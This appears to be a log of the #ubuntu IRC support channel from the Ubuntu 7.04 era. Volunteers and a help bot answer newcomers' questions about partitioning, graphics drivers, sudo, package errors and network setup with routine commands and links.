[03:02] <CrowJake> partitions
[03:02] <[nrx] > ...
[03:02] <[nrx] > elaborate
[03:02] <[nrx] > :)
[03:02] <praet> kronos: well you should see mailboxes in /var/mail
[03:03] <CrowJake> everytime i get a question answered i get another lol,
[03:03] <CrowJake> i'm jst not very sure how to do it, i've got to the manual partitioning screen on the intallation, and i'm not sure what to do
[03:03] <praet> CrowJake: wy dd you select manual partitioning then :)
[03:04] <CrowJake> because i wanted to have a partition with vista in, one with shared files, and another with ubuntu
[03:04] <[nrx] > CrowJake, do you have partitions setup?
[03:05] <praet> kronos:
[03:05] <xerxe> hello
[03:05] <CrowJake> i thought it was partitioned into two, there was an (almosty) empty partition called "Data" and another called "Acer" (the make of this)
[03:05] <praet> kronos: this file determines mail routing as well/etc/aliases
[03:06] <enano> Hi! I recently upgraded my system to 7.04, amd64bit version. I'm using Geforce 6600GT and now the X-server fails to load. I've red on many different forums, but can't really find a solution on how to get this working. Any help would be much appriciated. Thanks!
[03:06] <Delta> everytime I start ubuntu I get some messeges saying some files (that arent on the ubuntu partition) are named incorrectly and it renames them....how can I stop that?
[03:06] <[nrx] > CrowJake, you can click on the partitions and resize them... once you have resized them, you can create new partitions. Once all of this is done, you click on Apply
[03:06] <CrowJake> but on the screen now, it's sd1, sd2, and sd3, and a seperate one called sdb1
[03:06] <xerxe_> hello
[03:06] <xerxe_> im new hero
[03:07] <xerxe_> great cominity!
[03:07] <xerxe_> i heve a ati radeon x1300 graphic card
[03:07] <CrowJake> gaah, i hope it works ok
[03:07] <IdleOne> someone here familiar enough with aptitude to tell me how I remove a "hold" I placed on a package?
[03:07] <praet> IdleOne: i can help.
[03:07] <xerxe_> cant get more than 1024x768
[03:07] <Pici> !fixres > xerxe_ (Please see the private messsage from ubotu)
[03:07] <xerxe_> ati drivers installed by envy
[03:07] <praet> IdleOne: echo "compiz-core hold" |sudo dpkg --set-selections
[03:08] <praet> IdleOne: change hold to install
[03:08] <IdleOne> praet: ty very much
[03:08] <praet> nop
[03:08] <xerxe_> i have ati control cener for linux running
[03:08] <Pici> !envy | xerxe_
[03:08] <ubotu> xerxe_: envy is a script that may leave you envious of those who have not used it, use the resticted manager to install binary drivers or use the instructions on the wiki, this script may break your machine very badly!
[03:09] <IdleOne> praet: why did you use compiz-core as example?
[03:09] <PgL|Neocid> praet: you gave me an url for my wifi driver, and it's for dell wifi network card, I have my own driver, I may use my driver no ?
[03:09] <enano> Also when I try "sudo apt-get install nvidia-glx" I get: "E: Sub-process /usr/bin/dpkg returnet an error code (1)".
[03:09] <tlk> what does this mean : E: dpkg was interrupted, you must manually run 'dpkg --configure -a' to correct the problem.
[03:09] <tlk> E: _cache->open() failed, please report. ???
[03:09] <praet> PgL|Neocid: yes ndiswrapper 'wraps' around the win32 driver, you can use the one you got with the comp
[03:09] <PgL|Neocid> thx
[03:09] <xerxe_> i have used the restricted manager
[03:10] <xerxe_> and its says that ati driver is enabled
[03:10] <praet> IdleOne: because the new fusion repo has a bug in ppa that causes it to remain updateable even though you are already current :)
[03:10] <xerxe_> but no change in resolution or desktop effect
[03:10] <zetheroo> ati drivers .... I am using the ubuntu delivered fglrx driver and I want to update it to the newly released one from ati...... how do I do that????
[03:11] <tlk> What does this mean??:E: dpkg was interrupted, you must manually run 'dpkg --configure -a' to correct the problem.
[03:11] <tlk> E: _cache->open() failed, please report.???
[03:11] <IdleOne> praet: hehe ok. I actualy had a hold on xserver-xorg-core but they seemed to have fixed it hopefully so i wanna give it a shot
[03:11] <IdleOne> tlk: sudo dpkg --configure -a
[03:12] <zetheroo> ati drivers .... I am using the ubuntu delivered fglrx driver and I want to update it to the newly released one from ati...... how do I do that????
[03:12] <docmur__> Question:  My speakers seem to only output on the left right channel, so I downloaded gnome-alsamixer to test the balance R L and the same problem no sound when I move my slides to the right, so I switched the 2 inputs on the back of the sub and the right speaker work.  The odd part is there is till sound coming from the other speaker just very very quite
[03:12] <docmur__> so would this be a software problem or are my speakers bad
[03:13] <IdleOne> docmur__: make sure speakers are plugged in properly but that is about as much as I know
[03:13] <docmur__> true enought
[03:13] <DuClare> sounds familiar
[03:13] <DuClare> but I can't remember what was the case exactly here..
[03:14] <spoon-man> how do you get the i2c module loaded
[03:14] <zetheroo> ati drivers .... I am using the ubuntu delivered fglrx driver and I want to update it to the newly released one from ati...... how do I do that????
[03:14] <s4mmy> #kawanua
[03:15] <IdleOne> !ati | zetheroo
[03:15] <ubotu> zetheroo: To install the Ati/NVidia drivers for your video card, see https://help.ubuntu.com/community/BinaryDriverHowto
[03:15] <pike_> docta_v: id run alsamixer in terminal and play an mp3 or somethign whilst you adjust the settings. other than that or a conneciton issue.. i dunno
[03:15] <s4mmy> #join kawanua
[03:15] <IdleOne> s4mmy: /join #
[03:15] <Delta> everytime I start ubuntu I get some messeges saying some files (that arent on the ubuntu partition) are named incorrectly and it renames them....how can I stop that?
[03:16] <Crim> i heard of a prgram that will allow ubuntu to write to NTFS partitions, any one know bout this?
[03:16] <ompaul> Delta, can you give a more precise message?
[03:16] <IdleOne> !ntfs-3g
[03:16] <ubotu> ntfs-3g is a Linux driver which allows read/write access to NTFS partitions. Installation instructions at https://help.ubuntu.com/community/MountingWindowsPartitions
[03:16] <bryanl> anyone here ever installed ubuntu on their mac book pro
[03:16] <linux4me> anyone here run lvs using ubuntu fiesty?
[03:17] <kronos> praet: but can't the messages be stopped ? I was more interested from cron.
[03:18] <Hadeshorn> Hey party people
[03:18] <Hadeshorn> Anyone know the deal about the new ATI linux drivers?
[03:18] <IdleOne> !ati | Hadeshorn
[03:18] <ubotu> Hadeshorn: To install the Ati/NVidia drivers for your video card, see https://help.ubuntu.com/community/BinaryDriverHowto
[03:18] <praet> kronos: check your [crontab -e]  then :)
[03:19] <Crim> so 7.04 can do this automaticly?
[03:19] <Hadeshorn> Thanks Idleone
[03:19] <Pici> Crim: Read  https://help.ubuntu.com/community/MountingWindowsPartitions
[03:19] <adac> !vncserver
[03:19] <ubotu> Sorry, I don't know anything about vncserver - try searching on http://ubotu.ubuntu-nl.org/factoids.cgi
[03:19] <ompaul> !vnc
[03:19] <ubotu> VNC is a protocol for remote desktop. https://help.ubuntu.com/community/VNCOverSSH describes how to use it securely.  It works best over fast connections, otherwise look at !FreeNX
[03:19] <IdleOne> Crim: 7.10 will  but not 7.04
[03:19] <Crim> i am but im a lil groggy, just woke up *yawns*
[03:20] <CrowJake> rebooting, cya soon all
[03:20] <IdleOne> Crim: get a coffee :)
[03:20] <Crim> damn guess i cant fix this from the live CD then
[03:20] <adac> !FreeNX
[03:20] <ubotu> FreeNX is advanced remote desktop technology. For more information and install instructions, see https://help.ubuntu.com/community/FreeNX
[03:20] <Crim> EWWW coffe is nasty
[03:20] <praet> Crim: now i know why you're sleepy
[03:20] <vader1102> coffee is my lifeline lol......
[03:20] <Crim> lol i have a CD i made a long time ago that has v 2.24 on it
[03:21] <Ward1983> what is the open office IRC channel?
[03:21] <Ward1983> i ened to tell them about their retarded gui
[03:21] <Ward1983> i can't change the damn textcolor
[03:21] <Ward1983> GREAT gui
[03:21] <IdleOne> coffee  has saved billions of lives
[03:21] <Pici> Ward1983: #openoffice.org I think.
[03:21] <wlfwhiterabbit> hi! considering this page https://help.ubuntu.com/community/FtpServer can anyone tell me how i can launch FtpServer service? i've followed the instructions for the first options and now, how can i launch the service?
[03:21] <praet> wlfwhiterabbit: #Openoffice.org
[03:21] <Ward1983> Pici, thanx i'll try
[03:21] <methhead> Okay so.
[03:21] <praet> Ward1983: #Openoffice.org  or dev.#Openoffice.org
[03:22] <Ward1983> praet, ty
[03:22] <methhead> I'm in class.  What should I do?
[03:22] <Pici> !offtopic | methhead
[03:22] <ubotu> methhead: #ubuntu is the Ubuntu support channel, #ubuntu+1 supports the development version of Ubuntu and #ubuntu-offtopic is for random chatter. Welcome!
[03:22] <praet> methhead: if you're in class maybe you should be studying :)
[03:23] <methhead> American Government is relatively boring.
[03:23] <PgL|Neocid> not beeing American is also a good thing too :)
[03:23] <ompaul> methhead, you are seriously offtopic
[03:23] <methhead> im in class and i need ubuntu support.
[03:24] <methhead> fixt
[03:25] <Ward1983> what is a good alternative for open office?
[03:26] <PgL|Neocid> can someone explain to me why we use "Sudo" before all command ?
[03:26] <Ward1983> i don't feel like going on IRC to change my textcolor
[03:26] <ompaul> Ward1983, depending on your thoughts you can try abiword koffice or stuff
[03:26] <praet> Ward1983: abiword, gnumeric
[03:26] <Pici> !sudo | PgL|Neocid please read this
[03:26] <ubotu> PgL|Neocid please read this: sudo is a command to run programs with superuser privileges ("root"). Look at https://help.ubuntu.com/community/RootSudo for all information.
[03:26] <PgL|Neocid> ho great :)
[03:26] <PgL|Neocid> love that bot :p
[03:26] <Ward1983> ompaul, praet thanx i'll try them
[03:26] <hyakuhei> Hey all, I'm having strange problems with my ubuntu install. lspci causes a Segfault with a pretty stack trace.... its making me cry :'(
[03:26] <Floating> can someone help me? Just installed my first ubuntu on my brand new acer travelmate 7720G 2ghz core 2 duo with ATI HD2400 XT Mobility - and now i cant start x - tried reconfiguring etc but it just wont load x
[03:26] <tlk> hello
[03:26] <tlk> how do i get super user privilages
[03:27] <praet> hyakuhei: post your segfault trace to paste.ubuntu-nl.org
[03:27] <ompaul> !sudo | tlk
[03:27] <ubotu> tlk: sudo is a command to run programs with superuser privileges ("root"). Look at https://help.ubuntu.com/community/RootSudo for all information.
[03:27] <eugman> http://xkcd.com/149/
[03:27] <praet> eugman: haha nice one
[03:27] <hyakuhei> praet: will take a second to kick it over from the other machine
[03:28] <ompaul> Floating, that seems strange, sudo dpkg-reconfigure xserver-xorg and see how it is set up - did it work with the live cd as you installed?
[03:28] <PgL|Neocid> ubuntu run his own desktop or it's similar with kde or gnome repainted ?
[03:28] <wlfwhiterabbit> praet: why you told me that channel?
[03:28] <Floating> nopes coulndt load up the live cd - so had to install the alternate 64bit cd to install - install ran smoothly untill x was starting then i get faltal error "No screen(S)"
[03:28] <ompaul> PgL|Neocid, gnome with a coat of paint, they also have a kde version
[03:29] <Floating> i did try to sudo dpkg-reconfigure xserver-xorg but that didnt work either it seems
[03:29] <Floating> driver is set as vesa now in the conf file
[03:29] <PgL|Neocid> ompaul: ok thanks, can you tell me what's the main difference between kde and gnome please ?
[03:29] <ompaul> Floating, then I would suggest you need a fresh 32bit live cd
[03:29] <nb_au> Floating: check to see if your motherboard and video card are supported
[03:29] <gustavo> Floating: what is ur vga?
[03:29] <praet> wlfwhiterabbit: sorry i typed w[tab]  and your name came first . my bad.
[03:29] <ompaul> PgL|Neocid, chalk and cheese you choose
[03:29] <Floating> its a ATI HD2400 XT Mobility
[03:29] <tlk> do i type sudo in front of my command
[03:29] <gustavo> Floating: let me guess, its a ati
[03:29] <gustavo> lol!
[03:29] <Floating> yes
[03:30] <gustavo> Floating: you need proprietary drivers...
[03:30] <Pici> !ati | Floating  please read this
[03:30] <ubotu> Floating  please read this: To install the Ati/NVidia drivers for your video card, see https://help.ubuntu.com/community/BinaryDriverHowto
[03:30] <genii> Someone was asking how to install the ati 8.41.7 driver?
[03:30] <nb_au> Floating: download the newest ati drivers using the envy script
[03:30] <Floating> ok ill look
[03:30] <ompaul> tlk, depends on what you want to run, if it is non gui yes - and the page you were pointed at tells it all
[03:30] <Pici> !envy | nb_au no
[03:30] <ubotu> nb_au no: envy is a script that may leave you envious of those who have not used it, use the resticted manager to install binary drivers or use the instructions on the wiki, this script may break your machine very badly!
[03:30] <Floating> btw i got no network setup yet either
[03:30] <Floating> on the laptop
[03:30] <Floating> its a wireless one
[03:30] <ddsaasdasdsassaa> hello
[03:30] <praet> nb_au: envy is not recommended
[03:31] <gustavo> Floating: then this will make it difficult :)
[03:31] <Floating> yes :P
[03:31] <nb_au> Pici, praet: unless your system is very nonstd it shouldnt cause any probs
[03:31] <Floating> anyone got a quick way to setup network from shell ?
[03:31] <Pici> !wfm > nb_au (Please see the private messsage from ubotu)
[03:31] <bankert_20548> hat got a link to tausch
[03:31] <praet> Floating: start with getting the card name
[03:31] <mrfantastic> anyone know how to fix kde apps on gnome?
[03:31] <gustavo> Floating: dont u have cabled connection?
[03:31] <Crimson> hmm ok i dont like the partition editor in this version
[03:31] <Floating> its a wireless Intel_3945_4965
[03:31] <wlfwhiterabbit> praet: no problem.
[03:31] <Floating> actually yes i can throw in a cable
[03:32] <Floating> but i got gigabit lancard
[03:32] <praet> Floating: lspci |grep -i net
[03:32] <gustavo> Floating: just do that, you will avoid a lot of troubles :D
[03:32] <nb_au> Pici: fair enough, though id argue its not exactly hard to follow, but hey i accpet your point and withdraw my argument
[03:32] <tlk> what is s sudo
[03:32] <Crimson> whats the mount commend?
[03:32] <praet> Crimson: man mount
[03:32] <nb_au> crimsson: mount
[03:32] <Crimson> hmm ok
[03:32] <Floating> ethernet controller: Broadcom Cop..... Gigabit Ethernet PCI Express (rev 02)
[03:33] <gustavo> tlk: sudo is a command do execute other commands as a Super User (root)
[03:33] <Floating> the wireless is intel but unknown
[03:33] <Floating> so seems my cable one is working
[03:33] <Tumpster> hello all
[03:33] <Floating> ill find a cable :P
[03:33] <praet> Floating: that ethernet should work :)
[03:33] <nb_au> indeed
[03:33] <genii> tlk: It is a command you put before executing things which require root or admin privelege to operate.
[03:33] <visioncig> tumpster:hi ^_^
[03:33] <mrfantastic> is it possible to reinstall ubuntu without losing data
[03:33] <tlk> so if i want super user privilages i have to type that like this sudo-dpkg --configure -a
[03:33] <nb_au> mrfantastic: backup :P
[03:34] <gustavo> tlk: no...
[03:34] <gustavo> tlk: sudo dpkg --configure -a
[03:34] <mrfantastic> without the need to backup to an external source
[03:34] <genii> tlk: more like:   sudo dpkg --configure -a       in that case
[03:34] <gustavo> tlk: its always: sudo + command
[03:34] <tlk> o ic
[03:34] <nanonyme> btw, where does ubuntu store downloaded packages?
[03:34] <nb_au> mrfantastic: not easily, youd have to repartition your drive
[03:34] <genii> nanonyme: Imn /var/cache/apt/archives
[03:34] <gustavo> nanonyme: /var/cache/apt/archives
[03:34] <praet> mrfantastic: backup and then you could try to reinstall right on top of the existing install
[03:34] <gustavo> lol
[03:34] <nanonyme> nice
[03:34] <gustavo> sorry :)
[03:34] <tlk> gustavo: thank you
[03:35] <Floating> so now i got network cable in - how do i reconfigure network from shell?
[03:35] <gustavo> genii: thanks, i like it :D
[03:35] <genii> heh
[03:35] <praet> Floating: man ifconfig
[03:35] <gustavo> iwconfig
[03:35] <praet> Floating: probably ifconfig eth0 up
[03:35] <gustavo> (i guess)
[03:35] <nb_au> could also be eth1
[03:36] <gustavo> ops, u didnt mean wireless, right? sorry hehe
[03:36] <Floating> no mean the cable one
[03:36] <mrfantastic> or is there a script out there i can use that reconfigures my system for me
[03:36] <docmur> I made a new partition for windows but when I run the windows cd after reboot it just hangs and wont move to the blue set up screen.  I have 3 linux partitons and 1 ready for windows
[03:36] <gustavo> Floating: try dhclient
[03:36] <docmur> anyone know why it's doing this
[03:36] <Jowi> Floating, it might be as easy as to restart the network: sudo /etc/init.d/networking restart
[03:36] <praet> Floating: nb_au| could also be eth1  << try this as well $ ifconfig eth1 up
[03:36] <genii> For the brave/interested with newer ATI cards.. new driver is at: https://a248.e.akamai.net/f/674/9206/0/www2.ati.com/drivers/linux/ati-driver-installer-8.41.7-x86.x86_64.run    to install, download, make executable then run to install.
[03:36] <gustavo> i suggest him to do "dhclient"
[03:36] <gustavo> :P
[03:37] <bastid_raZor> i'm attempting to add more songs to rhythmbox but it not showing them in the Library.. i've double checked all permissions.. what could i be doing wrong?
[03:37] <Floating> tx genii
[03:37] <praet> gustavo: Jowi: nb_au: gotta love the multitude of ways to do stuff in linux
[03:37] <nb_au> genii: is it released (ie. envy will dload it?)
[03:37] <foolish> Hi! I need to use the dvdr drive, which is my only cd/dvd drive, while using the live cd. Can this be done, how_
[03:37] <dgjones> mrfantastic, if you originally installed with /home on a separate partition you can resintall and tell the partitioner not to format /home again and it'd keep your settings & data etc
[03:37] <gustavo> hehehehe
[03:37] <nb_au> praet: one of the things that makes it great :P
[03:37] <gustavo> he will be confused
[03:37] <ompaul> !envy
[03:38] <ubotu> envy is a script that may leave you envious of those who have not used it, use the resticted manager to install binary drivers or use the instructions on the wiki, this script may break your machine very badly!
[03:38] <genii> nb_au: I do not know. It is only a few days out now
[03:38] <vader1102> foolish, just put in the cd and voila...... off you go
[03:38] <Linuturk> how do I tell cp to copy hidden (.) files ?
[03:38] <foolish> vader1102: I cant open the drive while running the live cd can I
[03:38] <genii> Also, the forum page which may have useful info on it, etc: http://www.rage3d.com/board/showthread.php?s=383622c5d4ed7217755e896a5b5f19e1&t=33901923
[03:38] <nanonyme> Linuturk, prepend .
[03:38] <vader1102> foolish, not that I am aware of
[03:38] <ompaul> Linuturk,  cp .foo towhatever
[03:39] <praet> foolish: make sure that the boot options in yur bios are set to try botting from cd before the hd (if there is an os already there)
[03:39] <Linuturk> ompaul: nanonyme I want to copy all the . files, regular files, and directories out of there
[03:39] <nb_au> Linuturk: cp /dir/.name /dir2/.name2
[03:39] <jrib> Linuturk: how are you trying?
[03:39] <praet> foolish: install ubuntu and go for it
[03:39] <gustavo> Floating: a good way to install proprietary drivers is: apt-get install module-assistant, then add the non-free on ur /etc/apt/sources.list (if u know how to do that), after that, run module-assistant a-i fglrx-driver
[03:39] <nanonyme> Linuturk, rsync?
[03:40] <nanonyme> saves effort
[03:40] <Linuturk> jrib: cp -r ~/* /media/sda2
[03:40] <jrib> Linuturk: cp -a ~/* ~/.* /media/sda2        or keep the -r if that's what you want
[03:40] <Jowi> foolish, you might want to try other distro that loads the whole os into ram, such as dsl, knoppix, bonzai.
[03:40] <mrfantastic> can anyone tell me if there is anything like the system restore on windows for ubuntu
[03:41] <foolish> Jowi: thanks, but I only have the ubuntu live cd
[03:41] <gustavo> mrfantastic: rescue cd?
[03:41] <Linuturk> ah, thanks jrib what does -a do?
[03:41] <foolish> I was able to eject the live cd, it's not in the drive as we speak
[03:41] <gustavo> mrfantastic: what for exactly?
[03:41] <foolish> I loaded the live cd with the toram option.
[03:41] <NEWLINUXUSER> I AM BACK
[03:41] <gustavo> be welcome
[03:41] <mrfantastic> i ran a script to change my ubuntu to the christian edition....now my kde apps are kinda messed up
[03:41] <ompaul> !caps
[03:42] <ubotu> PLEASE DON'T SHOUT! We can read lowercase too.
[03:42] <threefcata> hi, anyone know which file contain all the envirionment variables at start up??
[03:42] <jrib> Linuturk: it includes the -r, but does some extra stuff regarding symlinks
[03:42] <mrfantastic> so i want to restore my settings to a previous state
[03:42] <NEWLINUXUSER> SHUT UP UBOTU
[03:42] <Tomcat_> threefcata: /etc/environment
[03:42] <jrib> NEWLINUXUSER: please behave yourself or leave
[03:42] <ompaul> NEWLINUXUSER, I had it do that ....
[03:42] <emeriste> new -- you are making a bad name for new linux users.
[03:42] <mrfantastic> all my kde apps work...but icons and tabs and buttons dont display properly
[03:43] <nb_au> mrfantastic: your not going to be able to get out of it unless it came with an uninstall/undo script
[03:43] <dgjones> mrfantastic, isn't the christianedition based on gnome rather than kde
[03:43] <NEWLINUXUSER> HA HA A AM GOING TO LEAVE NO SINCE I AM NOT WELCOME IN THE "FRINDLEY UBUNTU CIRCLE"
[03:43] <DevideZero> i have download ubuntu iso with windows , how i can check the md5sums of the iso ?
[03:43] <nb_au> NEWLINUXUSER: ?
[03:44] <mrfantastic> yeah...but i used kde with the standard ubuntu and they worked fine
[03:44] <threefcata> thx!!
[03:44] <r2r4> what do u mean, newlinuxer?
[03:44] <ompaul> r2r4, know when you are trolled and let it pass ;-)
[03:44] <genii> DevideZero: There is a win md5 checker. I'll find the link, 1 minute
[03:44] <Ward1983> please repeat the openoffice alternatives? (not koffice it apperantly is just as bad)
[03:44] <vader1102> ompaul, ty
[03:44] <praet> DevideZero: http://www.etree.org/cgi-bin/counter.cgi/software/md5sum.exe
[03:44] <hyakuhei> praet: I have this http://paste.ubuntu-nl.org/37309/ which shows the system boot and gdm (X) failing to start and then I have this: http://paste.ubuntu-nl.org/37310/ which is segfaults caused by lspci. The system is an AMD X2
[03:44] <Tenso> Methinks newlinuxuser dwells under a bridge...
[03:44] <Ward1983> does anyone know a REALLY GOOD, NORMAL text editor?
[03:44] <docmur> anyone know why it's doing this
[03:45] <Ward1983> liek one that can actually change my text color
[03:45] <docmur> I made a new partition for windows but when I run the windows cd after reboot it just hangs and wont move to the blue set up screen.  I have 3 linux partitons and 1 ready for windows
[03:45] <Tomcat_> Ward1983: gedit :o
[03:45] <jrib> Ward1983: gedit?  What do you mean by "NORMAL"?
[03:45] <vader1102> Tenso, Gedit?
[03:45] <nb_au> mrfantastic: so u changed from ubuntu to kubuntu to ubuntuCE?
[03:45] <DevideZero> praet thanks
[03:45] <vader1102> sorry
[03:45] <Ward1983> jrib, one with a GUI not made to piss people off
[03:45] <mrfantastic> ubuntu to ubuntu ce
[03:45] <bastid_raZor> Ward1983: kate
[03:45] <mrfantastic> apps like amarok and ktorrent work fine on gnome
[03:45] <Ward1983> jrib, i can't change my textcolor both in openoffice AND koffice
[03:45] <r2r4> try fdisk docmur ?
[03:45] <docmur> hmmm
[03:45] <Ward1983> bastid_raZor, ok will try
[03:45] <docmur> how would that help
[03:46] <docmur> I used gparted to make the free partition
[03:46] <mrfantastic> at least they did
[03:46] <nb_au> mrfantastic: ahhh u didnt use KDE then, just its libraries
[03:46] <genii> praet: Thx :)
[03:46] <Tenso> Docmur, what are you used to?
[03:46] <mrfantastic> yeah
[03:46] <docmur> gparted
[03:46] <r2r4> sry, you mean you cannot boot the win system ?
[03:46] <docmur> okay let me explain
[03:46] <nb_au> mrfantastic: ide maybe try a reinstall of any prog which doesnt work
[03:46] <Ward1983> i've wasted a hour of my life because i want to print in a different color
[03:46] <r2r4> ok
[03:46] <bastid_raZor> how is not booting in to windows a bad thing??
[03:47] <docmur> I have 3 linux partitions, and made a free paritition
[03:47] <mrfantastic> ubuntu ce made a back up all the files it changed...so i merged them with the new ones
[03:47] <jrib> Ward1983: in OOo, select text, right click -> "Character..." and then "Font Effects"
[03:47] <docmur> when I reboot with the windows xp cd it wont load
[03:47] <docmur> it says the hardware detection and then pauses never going future
[03:47] <Tenso> Oops, ward - what text editor are you used to
[03:47] <nb_au> mrfantastic: so u copied the originals back over?
[03:47] <vader1102> docmur, have you checked the cd on another machine?
[03:47] <Ward1983> jrib, i'm never opening that program again in my life
[03:47] <DevideZero> praet , what i need to do with this ? ( i run it and its close in the moment )
[03:47] <r2r4> im sry i donnot know why..
[03:47] <mrfantastic> only configuration files
[03:47] <docmur> it's not the cd
[03:48] <Ward1983> jrib, when i finally found how to change color, i couldnt change the actual color it was changing too...
[03:48] <docmur> I've used it before
[03:48] <Jowi> !windows | docmur
[03:48] <ubotu> docmur: For help with Microsoft Windows, please visit ##windows or your nearest mental health institute. See http://launchpad.net/distros/ubuntu/+bug/1 http://linux.oneandoneis2.org/LNW.htm and !equivalents
[03:48] <r2r4> poor man
[03:48] <docmur> some some reason windows doesn't like the partition
[03:48] <r2r4> yeah
[03:48] <fantazyia> Is there anyone here running gutsy ?
[03:48] <jrib> Ward1983: well, you don't really want a text editor, you want a word processor if you want to change color
[03:48] <Jowi> fantazyia, probably everyone in #ubuntu+1
[03:48] <bastid_raZor> docmur use windows to format the ntfs partition
[03:48] <Ward1983> jrib, i'm not native english
[03:48] <jrib> Ward1983: the other that comes to mind is abiword
[03:48] <nb_au> mrfantastic: perhaps you should have left them, the script would only change these files for a reason AFAIK, also next time you do a script like that one, do it on a fresh install, less chance of a stuff-up
[03:49] <Ward1983> jrib, installing now
[03:49] <r2r4> i think you should give more information about that, docmur
[03:49] <docmur> okay
[03:49] <rgl> hi.
[03:49] <docmur> so ubuntu is set up like so /boot. / and / home right
[03:49] <mrfantastic> yeah i know...wanted to skip a few steps
[03:49] <docmur> hda4 is blank
[03:50] <praet> DevideZero: copy it to the location of the iso, then open a terminal (Start > Run > cmd) browse to that folder (cd "C:\") then run that program (md5sum ubuntu.iso)
[03:50] <docmur> I want to put windows on the new blank part
[03:50] <faileas> docmur: by default just /
[03:50] <rgl> I have a keyboard with a "sleep" button on it, how can I disable it?  (resuming just does not work with me...)
[03:50] <dgjones> mrfantastic, from memory, doesn't the script for converting to christianedition just add some backgrounds, add a bilble reading app and install a parental controls app?
[03:50] <hyakuhei> praet: any ideas?
[03:50] <praet> hyakuhei: does the livecd work?
[03:50] <docmur> okay so ya / but I have /boot and /home to
[03:50] <hyakuhei> yes
[03:50] <Jowi> docmur, I have never seen the hardware detection fail for win install due to partitioning. this is not a linux issue.
[03:50] <mrfantastic> yeah thats whats bothering me...i cant find anything wrong
[03:51] <faileas> windows installs after linux are always problematic
[03:51] <praet> hyakuhei: try [lspci -v] 
[03:51] <bastid_raZor> rgl: don't touch it ever again.. button disabled
[03:51] <kronos> praet: crontab -e give's me the crontab for edit... I don't want to remove the events, I want it to be quiet mode or something
[03:51] <Jowi> docmur, you should be able to remove the last, empty parition. boot win cd and ask it to use what's left on the drive i guess. see ##windows
[03:51] <rgl> bastid_raZor, well, not an option! :P
[03:51] <bastid_raZor> heh
[03:51] <r2r4> did winxp cd recongnize the harddisk and the partition table ?
[03:51] <mrfantastic> the only bug i have is just displaying issues...apps run fine but look funny
[03:51] <bastid_raZor> put tape over it?
[03:51] <GuHHH> praet: is there md5sum for win/
[03:52] <mrfantastic> kde apps that is
[03:52] <rgl> bastid_raZor, my cat is always walking arround, and presses the damn thing... then bammm I loose everyhitng :|
[03:52] <Pici> !md5 | GuHHH check this
[03:52] <john|g> 6535e32c8f83f3106d4a3b4ce751bba6
[03:52] <ubotu> GuHHH check this: To verify your Ubuntu ISO image (or other files for which an MD5 checksum is provided), see http://help.ubuntu.com/community/VerifyIsoHowto or http://www.linuxquestions.org/linux/answers/LQ_ISO/Checking_the_md5sum_in_Windows
[03:52] <dgjones> mrfantastic, maybe the kde apps need uninstalling and then reinstalling to see if that re-sets them to original configuration
[03:53] <praet> GuHHH: there are plenty (even gui ones), but here is the one i just saw: http://www.etree.org/cgi-bin/counter.cgi/software/md5sum.exe
[03:53] <mrfantastic> already tried....no dice
[03:53] <GuHHH> praet: nice
[03:53] <praet> kronos: you can comment out any entry in crontab that you dont want to run (# sign before line). It may show as sendmail
[03:53] <dgjones> mrfantastic, not sure what to suggest then
[03:54] <bastid_raZor> rgl: i tend to inflict pain on my cat for jumping on my desk. he doesn't do it very often
[03:54] <mrfantastic> its just an annoyance...thanks anyway for the help
[03:54] <Ward1983> jrib, thanx now i can finally work with my text!
[03:54] <genii> Pici: Ha, I forgot about !md5 bot info
[03:54] <praet> hyakuhei: are you runnin ndiswrapper or a custom kernel?
[03:55] <crowjake> can anyone tell me what i'm doing wrong here?
[03:55] <crowjake> http://i2.tinypic.com/4lfb6mu.png
[03:55] <crowjake> No root file system is defined.
[03:55] <crowjake> Please correct this from the partitioning menu
[03:55] <degrit> is there an irc channel focused on compix, that anyone knows ?
[03:55] <praet> Ward1983: what did you end up using?
[03:56] <Pici> degrit: #ubuntu-effects or #compiz-fusion
[03:56] <degrit> thanks
[03:56] <Jowi> crowjake, you see that "mount point" column?
[03:56] <jrib> crowjake: you didn't designate any partition for "/"
[03:56] <praet> crowjake: you need to define a root "/" partition
[03:56] <praet> yay for redundancy :)
[03:56] <Pici> I was going to say it too :(
[03:56] <Ward1983> praet, abiword was the only one where i just found what i needed isntead of looking for ten minuts and then stumbling into another retarded problem
[03:56] <sandra> whau
[03:57] <Jowi> crowjake, you need to set the disk you wan to use for root (I guess it's your /dev/sda7) to mount point "/"
[03:57] <praet> Ward1983: yeah abiword is great, even for windows is light and fast.
[03:57] <unf> hello
[03:57] <Ward1983> praet, i'm even gonna throw the rest of that garbage off
[03:57] <Ward1983> praet, never ever could have thought it was such a problem to print some text in another color lol
[03:57] <crowjake> i'm not sure i follow
[03:57] <Ward1983> anyway thanx for the help all
[03:58] <praet> crowjake: you need to make a new partition, and mark it as the root "/"
[03:58] <demolitio> I know i've asked this before... but does anyone know how to import thunderbird profiles from Vista to ubuntu?
[03:58] <condado431> Alguem pode me ajudar com meu xorg.conf........sou novo no ubuntu e preciso de ajuda
[03:58] <bastid_raZor> crowjake: edit /dev/sda7 and change the mount point to / instead of /meda/sda4
[03:58] <Jowi> crowjake, click on the line that say /dev/sda7. click "edit partition". there you should be able to change the mountpoint from "/media/sda4" to "/" (which is also called the root partition)
[03:58] <nb_au> !es
[03:58] <jrib> !br | condado431
[03:58] <ubotu> Si busca ayuda en Espaol por favor entre en los canales #ubuntu-es, #kubuntu-es o #edubuntu-es, all obtendr mas ayuda.
[03:58] <ubotu> condado431: Por favor use #ubuntu-br ou #ubuntu-pt  para ajuda em portugus. Obrigado.
[03:58] <praet> demolitio: easy, copy the profile to your ~/.thunderbird
[03:59] <demolitio> and where is the profile i'm looking for on the vista partition?
[03:59] <praet> demolitio: in vista the profile will be in your application data folder (let me check)
[03:59] <zetheroo> how do I reconfigure my xorg file?
[03:59] <ajisin> anybody der?
[03:59] <demolitio> Praet: whoops.. probabl;y should have addressed that.
[03:59] <GuHHH> condado431: vai em #ubuntu-br que te ajudamos
[03:59] <ompaul> zetheroo, sudo dpkg-reconfigure xserver-xorg
[03:59] <crowjake> oh thanks! and "sda5" do i do the same to that?
[03:59] <Floating> whenever i do something i get "timestamp too far in the future"
[03:59] <nb_au> zetheroo: what do u wanna do?
[04:00] <zetheroo> I want to get rid of the darn Mesa driver
[04:00] <Floating> how can i fix timestamp from shell ?
[04:00] <bastid_raZor> Floating: you're from the future??
[04:00] <Pici> crowjake: No, you need to have 1 partition as / and 1 as swap, at the very least.
[04:00] <Floating> obviously :P
[04:00] <nb_au> zetheroo: install the proprietary driver from your cards manufacturer
